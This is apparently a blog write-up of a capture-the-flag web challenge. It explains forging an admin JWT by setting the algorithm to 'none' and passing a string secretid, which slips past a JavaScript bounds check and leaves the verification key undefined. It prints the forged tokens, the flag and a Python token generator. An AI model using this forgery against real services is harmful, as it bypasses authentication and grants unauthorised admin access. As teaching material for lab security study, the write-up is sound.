Category: Web
Points: 200
Description: I stumbled upon this very interesting site lately while looking for cookie recipes, which claims to have a flag. However, the admin doesn’t seem to be available and the site looks secure – can you help me out?

This was an awesome challenge of both javascript quirks and jsonwebtokens which are awesome! Looking at the source code it’s very simple. It sets a cookie that is a jwt that has these values

{
    perms:"user",
    secretid:123,
    rolled:"yes"
}

The goal of the challenge is to validate the token with the perms attribute changed to admin to retrieve the flag.

SecretId is the index of the secret in the array of secrets that was used to sign the token

Rolled is basically whether you clicked admin button and got rick rolled ( not really useful in this challenge but initially I thought it would be)

So the code we are interested in is the try catch group when it verifies the token shown below:

try {
        let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
        if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
        let decoded = jwt.verify(cookie, secrets[sid]);
        if(decoded.perms=="admin"){
            res.locals.flag = true;
        }
        if(decoded.rolled=="yes"){
            res.locals.rolled = true;
        }
        if(res.locals.rolled) {
            req.cookies.session = ""; // generate new cookie
        }
    } catch (err) {
        req.cookies.session = "";
    }

The way a JWT is built up is of 3 parts
JWT_HEADER + JWT_BODY + JWT_SIGNATURE

Example of a JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6InVzZXIiLCJzZWNyZXRpZCI6Njk1LCJyb2xsZWQiOiJubyIsImlhdCI6MTU1NjAyNjU2OX0.eFDFrzAw80WcKLX17kPVuwYDQO7krXHyplqk2EtwWFM

Each section is base64 encoded and appended with a .

The weakness in this challenge is that the jwt.verify() function does not specify the algorithm used to decrypt so how does it know which algorithm to use? The header of a normal JWT contains it, base64 decoding the header we get this:

{"alg":"HS256","typ":"JWT"}

Now JWT have an algorithm called ‘none’ which means no signature which is allowed so let’s change the algorithm to ‘none’ change our perms to admin and remove the signature and check the site.

Our new token:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOjQsInJvbGxlZCI6Im5vIiwiaWF0IjoxNTU2MDIzNzQwfQ.

Notice the lack of a signature

No luck.

I had this running locally to see what was going on, and I saw that that it was failing because it was trying to use a secret key to decrypt with a none algorithm which failed.

This is where the weird sid param comes into play.

I had a play around to see what would happen if I changed the second param in this function to other values. So I tried undefined and null and they both verified the signature with a none algorithm.

 let decoded = jwt.verify(cookie, secrets[sid]);

So we need a way to set secrets[sid] = undefined or null

But there is a check on the sid to verify that it is not undefined and is within the bounds of the secrets array

if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}

But we have full control over what sid is. So I googled what happens when javascript compares a string and a int and I found out that it always results in false!

So if we set our sid value to any string value it will pass this check, then when querying secrets with sid this will happen

secrets["some string"] === undefined

So our new JWT payload becomes

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJudWxsIiwicm9sbGVkIjoibm8iLCJpYXQiOjE1NTYwMjM3NDB9.

Which means that the verification function will succeed with our changed permission value and print the flag for us!

FLAG:

actf{defund_ate_the_cookies_and_left_no_sign}

NOTE: To generate my payloads I used this function from Payloads all the things https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON Web Token

The code is here

import base64

def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

print(b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    '.' + b64urlencode("{\"perms\":\"admin\",\"secretid\":\"null\",\"rolled\":\"no\",\"iat\":1556023740}") + '.')

Leave a Reply

Your email address will not be published. Required fields are marked *